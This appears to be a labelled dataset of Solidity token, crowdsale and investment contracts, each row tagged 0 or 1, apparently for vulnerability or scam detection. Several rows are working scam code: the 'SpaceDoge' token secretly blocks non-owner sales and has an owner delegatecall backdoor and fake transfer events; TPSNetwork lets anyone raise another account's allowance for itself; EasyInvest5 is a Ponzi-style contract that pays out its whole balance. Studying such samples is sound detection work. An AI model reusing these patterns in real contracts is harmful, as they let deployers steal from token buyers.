require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract SpaceDoge {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 640 |
pragma solidity ^0.4.16;
interface token {
function transfer(address receiver, uint amount);
}
contract CrowdsaleCryptoMindPreICO {
address public beneficiary;
uint public MaxToken;
uint public amountRaised;
uint public deadline;
uint public StartCrowdsale;
uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
event FundTransfer(address backer, uint amount, bool isContribution);
function CrowdsaleCryptoMindPreICO() {
beneficiary = 0x41A2fe9687Ae815176166616D222B48DA6a36546;
MaxToken = 800 * 1 ether;
StartCrowdsale = 1510358400;
deadline = 1512086400;
price = 5000;
tokenReward = token(0xa7b67b22E0504D151E40d2782C8DB4a48DC202f6);
}
function () payable {
require(!crowdsaleClosed);
require(now > StartCrowdsale);
require(amountRaised + msg.value > amountRaised);
require(amountRaised + msg.value < MaxToken);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount * price);
FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() afterDeadline {
fundingGoalReached = true;
crowdsaleClosed = true;
}
function safeWithdrawal() afterDeadline {
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
} else {
fundingGoalReached = false;
}
}
}
} | 1 | 3,686 |
pragma solidity ^0.4.25;
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
constructor() public {
owner = 0x0B0b1bfced9b254037695bF206226725151a149B;
emit LogSetOwner(0x0B0b1bfced9b254037695bF206226725151a149B);
}
function setOwner(address owner_0x0B0b1bfced9b254037695bF206226725151a149B)
public
auth
{
owner = owner_0x0B0b1bfced9b254037695bF206226725151a149B;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
emit LogSetAuthority(authority);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
contract ERC20Events {
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
}
contract ERC20 is ERC20Events {
function totalSupply() public view returns (uint);
function balanceOf(address guy) public view returns (uint);
function allowance(address src, address guy) public view returns (uint);
function approve(address guy, uint wad) public returns (bool);
function transfer(address dst, uint wad) public returns (bool);
function transferFrom(
address src, address dst, uint wad
) public returns (bool);
}
contract DSTokenBase is ERC20, DSMath {
uint256 _supply;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _approvals;
constructor(uint supply) public {
_balances[msg.sender] = supply;
_supply = supply;
}
function totalSupply() public view returns (uint) {
return _supply;
}
function balanceOf(address src) public view returns (uint) {
return _balances[src];
}
function allowance(address src, address guy) public view returns (uint) {
return _approvals[src][guy];
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
if (src != msg.sender) {
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
function approve(address guy, uint wad) public returns (bool) {
_approvals[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
function increaseAllowance(
address src,
uint256 wad
)
public
returns (bool)
{
require(src != address(0));
_approvals[src][msg.sender] = add(_approvals[src][msg.sender], wad);
emit Approval(msg.sender, src, _approvals[msg.sender][src]);
return true;
}
function decreaseAllowance(
address src,
uint256 wad
)
public
returns (bool)
{
require(src != address(0));
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
emit Approval(msg.sender, src, _approvals[msg.sender][src]);
return true;
}
}
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
assembly {
foo := calldataload(4)
bar := calldataload(36)
}
emit LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data);
_;
}
}
contract DSStop is DSNote, DSAuth {
bool public stopped;
modifier stoppable {
require(!stopped);
_;
}
function stop() public auth note {
stopped = true;
}
function start() public auth note {
stopped = false;
}
}
contract TPSNetwork is DSTokenBase , DSStop {
string public symbol="TPS7";
string public name="Tps Network";
uint256 public decimals = 3;
uint256 public initialSupply=3000000000;
address public burnAdmin;
constructor() public
DSTokenBase(initialSupply)
{
burnAdmin=0x0B0b1bfced9b254037695bF206226725151a149B;
}
event Burn(address indexed guy, uint wad);
modifier onlyAdmin() {
require(isAdmin());
_;
}
function isAdmin() public view returns(bool) {
return msg.sender == burnAdmin;
}
function renounceOwnership() public onlyAdmin {
burnAdmin = address(0);
}
function approve(address guy) public stoppable returns (bool) {
return super.approve(guy, uint(-1));
}
function approve(address guy, uint wad) public stoppable returns (bool) {
return super.approve(guy, wad);
}
function transferFrom(address src, address dst, uint wad)
public
stoppable
returns (bool)
{
if (src != msg.sender && _approvals[src][msg.sender] != uint(-1)) {
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
function burnfromAdmin(address guy, uint wad) public onlyAdmin {
require(guy != address(0));
_balances[guy] = sub(_balances[guy], wad);
_supply = sub(_supply, wad);
emit Burn(guy, wad);
emit Transfer(guy, address(0), wad);
}
} | 1 | 5,434 |
pragma solidity ^0.5.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ECRecovery {
function recover(bytes32 hash, bytes memory sig) internal pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65) {
return (address(0));
}
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
}
contract RelayAuthorityInterface {
function getRelayAuthority() public returns (address);
}
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
contract LavaToken is ECRecovery{
using SafeMath for uint;
address constant public masterToken = 0xB6eD7644C69416d67B522e20bC294A9a9B405B31;
string public name = "Lava";
string public symbol = "LAVA";
uint8 public decimals = 8;
uint private _totalSupply;
event Approval(address indexed src, address indexed ext, uint amt);
event Transfer(address indexed src, address indexed dst, uint amt);
event Deposit(address indexed dst, uint amt);
event Withdrawal(address indexed src, uint amt);
mapping (address => uint) public balances;
mapping (address => mapping (address => uint)) public allowance;
mapping (bytes32 => uint256) public burnedSignatures;
struct LavaPacket {
string methodName;
address relayAuthority;
address from;
address to;
address wallet;
uint256 tokens;
uint256 relayerRewardTokens;
uint256 expires;
uint256 nonce;
}
bytes32 constant EIP712DOMAIN_TYPEHASH = keccak256(
"EIP712Domain(string contractName,string version,uint256 chainId,address verifyingContract)"
);
function getLavaDomainTypehash() public pure returns (bytes32) {
return EIP712DOMAIN_TYPEHASH;
}
function getEIP712DomainHash(string memory contractName, string memory version, uint256 chainId, address verifyingContract) public pure returns (bytes32) {
return keccak256(abi.encode(
EIP712DOMAIN_TYPEHASH,
keccak256(bytes(contractName)),
keccak256(bytes(version)),
chainId,
verifyingContract
));
}
bytes32 constant LAVAPACKET_TYPEHASH = keccak256(
"LavaPacket(string methodName,address relayAuthority,address from,address to,address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce)"
);
function getLavaPacketTypehash() public pure returns (bytes32) {
return LAVAPACKET_TYPEHASH;
}
function getLavaPacketHash(string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce) public pure returns (bytes32) {
return keccak256(abi.encode(
LAVAPACKET_TYPEHASH,
keccak256(bytes(methodName)),
relayAuthority,
from,
to,
wallet,
tokens,
relayerRewardTokens,
expires,
nonce
));
}
constructor() public {
}
function() external payable
{
revert();
}
function mutateTokens(address from, uint amount) public returns (bool)
{
require( amount >= 0 );
require( ERC20Interface( masterToken ).transferFrom( from, address(this), amount) );
balances[from] = balances[from].add(amount);
_totalSupply = _totalSupply.add(amount);
emit Transfer(address(this), from, amount);
return true;
}
function unmutateTokens( uint amount) public returns (bool)
{
address from = msg.sender;
require( amount >= 0 );
balances[from] = balances[from].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(from, address(this), amount);
require( ERC20Interface( masterToken ).transfer( from, amount) );
return true;
}
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function getAllowance(address owner, address spender) public view returns (uint)
{
return allowance[owner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowance[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom( address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowance[from][to] = allowance[from][to].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer( from, to, tokens);
return true;
}
function _giveRelayerReward( address from, address to, uint tokens) internal returns (bool success){
balances[from] = balances[from].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer( from, to, tokens);
return true;
}
function getLavaTypedDataHash(string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce) public view returns (bytes32) {
bytes32 digest = keccak256(abi.encodePacked(
"\x19\x01",
getEIP712DomainHash('Lava Wallet','1',1,address(this)),
getLavaPacketHash(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce)
));
return digest;
}
function _tokenApprovalWithSignature( string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce, bytes32 sigHash, bytes memory signature) internal returns (bool success)
{
require( relayAuthority == address(0x0)
|| (!addressContainsContract(relayAuthority) && msg.sender == relayAuthority)
|| (addressContainsContract(relayAuthority) && msg.sender == RelayAuthorityInterface(relayAuthority).getRelayAuthority()) );
address recoveredSignatureSigner = recover(sigHash,signature);
require(from == recoveredSignatureSigner);
require(address(this) == wallet);
require(block.number < expires);
uint previousBurnedSignatureValue = burnedSignatures[sigHash];
burnedSignatures[sigHash] = 0x1;
require(previousBurnedSignatureValue == 0x0);
require(_giveRelayerReward(from, msg.sender, relayerRewardTokens));
allowance[from][to] = tokens;
emit Approval(from, to, tokens);
return true;
}
function approveTokensWithSignature(string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce, bytes memory signature) public returns (bool success)
{
require(bytesEqual('approve',bytes(methodName)));
bytes32 sigHash = getLavaTypedDataHash(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce);
require(_tokenApprovalWithSignature(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce,sigHash,signature));
return true;
}
function transferTokensWithSignature(string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce, bytes memory signature) public returns (bool success)
{
require(bytesEqual('transfer',bytes(methodName)));
bytes32 sigHash = getLavaTypedDataHash(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce);
require(_tokenApprovalWithSignature(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce,sigHash,signature));
require(transferFrom( from, to, tokens));
return true;
}
function approveAndCallWithSignature( string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce, bytes memory signature ) public returns (bool success) {
require(!bytesEqual('approve',bytes(methodName)) && !bytesEqual('transfer',bytes(methodName)));
bytes32 sigHash = getLavaTypedDataHash(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce);
require(_tokenApprovalWithSignature(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce,sigHash,signature));
_sendApproveAndCall(from,to,tokens,bytes(methodName));
return true;
}
function _sendApproveAndCall(address from, address to, uint tokens, bytes memory methodName) internal
{
ApproveAndCallFallBack(to).receiveApproval(from, tokens, address(this), bytes(methodName));
}
function burnSignature( string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce, bytes memory signature) public returns (bool success)
{
bytes32 sigHash = getLavaTypedDataHash(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce);
address recoveredSignatureSigner = recover(sigHash,signature);
require(recoveredSignatureSigner == from);
require(from == msg.sender);
uint burnedSignature = burnedSignatures[sigHash];
burnedSignatures[sigHash] = 0x2;
require(burnedSignature == 0x0);
return true;
}
function signatureHashBurnStatus(bytes32 digest) public view returns (uint)
{
return (burnedSignatures[digest]);
}
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public returns (bool success) {
require(token == masterToken);
require(mutateTokens(from, tokens));
return true;
}
function addressContainsContract(address _to) view internal returns (bool)
{
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
return (codeLength>0);
}
function bytesEqual(bytes memory b1,bytes memory b2) pure internal returns (bool)
{
if(b1.length != b2.length) return false;
for (uint i=0; i<b1.length; i++) {
if(b1[i] != b2[i]) return false;
}
return true;
}
} | 0 | 637 |
pragma solidity ^0.4.25;
contract EasyInvest5 {
uint256 public investorsCount;
mapping (address => uint256) public invested;
mapping (address => uint256) atBlock;
function () external payable {
if (invested[msg.sender] != 0 && block.number > atBlock[msg.sender]) {
uint256 amount = invested[msg.sender] * 5 / 100 * (block.number - atBlock[msg.sender]) / 5900;
if (this.balance > amount) amount = this.balance;
msg.sender.transfer(amount);
}
invested[msg.sender] += msg.value;
atBlock[msg.sender] = block.number
*investorsCount++;
}
} | 1 | 4,549 |
pragma solidity ^0.4.15;
contract Ownable {
address public owner;
address public newOwner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function Ownable() public {
owner = msg.sender;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract LamdenTau is MintableToken {
string public constant name = "Lamden Tau";
string public constant symbol = "TAU";
uint8 public constant decimals = 18;
}
contract Crowdsale {
using SafeMath for uint256;
MintableToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) {
require(_endTime >= _startTime);
require(_rate > 0);
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public constant returns (bool) {
return now > endTime;
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
function CappedCrowdsale(uint256 _cap) {
require(_cap > 0);
cap = _cap;
}
function validPurchase() internal constant returns (bool) {
bool withinCap = weiRaised.add(msg.value) <= cap;
return super.validPurchase() && withinCap;
}
function hasEnded() public constant returns (bool) {
bool capReached = weiRaised >= cap;
return super.hasEnded() || capReached;
}
}
contract Presale is CappedCrowdsale, Ownable {
using SafeMath for uint256;
mapping (address => bool) public whitelist;
bool public isFinalized = false;
event Finalized();
address public team = 0x9c38c7e22cb20b055e008775617224d0ec25c91f;
uint256 public teamShare = 150000000 * (10 ** 18);
address public seed = 0x3669ad54675E94e14196528786645c858b8391F1;
uint256 public seedShare = 6807960 * (10 ** 18);
bool public hasAllocated = false;
address public mediator = 0x0;
function Presale(uint256 _startTime, uint256 _endTime, uint256 _rate, uint256 _cap, address _wallet, address _tokenAddress)
Crowdsale(_startTime, _endTime, _rate, _wallet)
CappedCrowdsale(_cap)
{
token = LamdenTau(_tokenAddress);
}
function createTokenContract() internal returns (MintableToken) {
return LamdenTau(0x0);
}
function validPurchase() internal constant returns (bool) {
bool withinCap = weiRaised.add(msg.value) <= cap;
bool valid = super.validPurchase() && withinCap && whitelist[msg.sender];
return valid;
}
function finalize() onlyOwner public {
require(mediator != 0x0);
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
token.transferOwnership(mediator);
Mediator m = Mediator(mediator);
m.acceptToken();
}
function assignMediator(address _m) public onlyOwner returns(bool) {
mediator = _m;
return true;
}
function whitelistUser(address _a) public onlyOwner returns(bool){
whitelist[_a] = true;
return whitelist[_a];
}
function whitelistUsers(address[] users) external onlyOwner {
for (uint i = 0; i < users.length; i++) {
whitelist[users[i]] = true;
}
}
function unWhitelistUser(address _a) public onlyOwner returns(bool){
whitelist[_a] = false;
return whitelist[_a];
}
function unWhitelistUsers(address[] users) external onlyOwner {
for (uint i = 0; i < users.length; i++) {
whitelist[users[i]] = false;
}
}
function allocateTokens() public onlyOwner returns(bool) {
require(hasAllocated == false);
token.mint(team, teamShare);
token.mint(seed, seedShare);
hasAllocated = true;
return hasAllocated;
}
function acceptToken() public onlyOwner returns(bool) {
token.acceptOwnership();
return true;
}
function changeEndTime(uint256 _e) public onlyOwner returns(uint256) {
require(_e > startTime);
endTime = _e;
return endTime;
}
function mintTokens(uint256 tokenAmount) public onlyOwner {
require(!isFinalized);
token.mint(wallet, tokenAmount);
}
}
contract Mediator is Ownable {
address public presale;
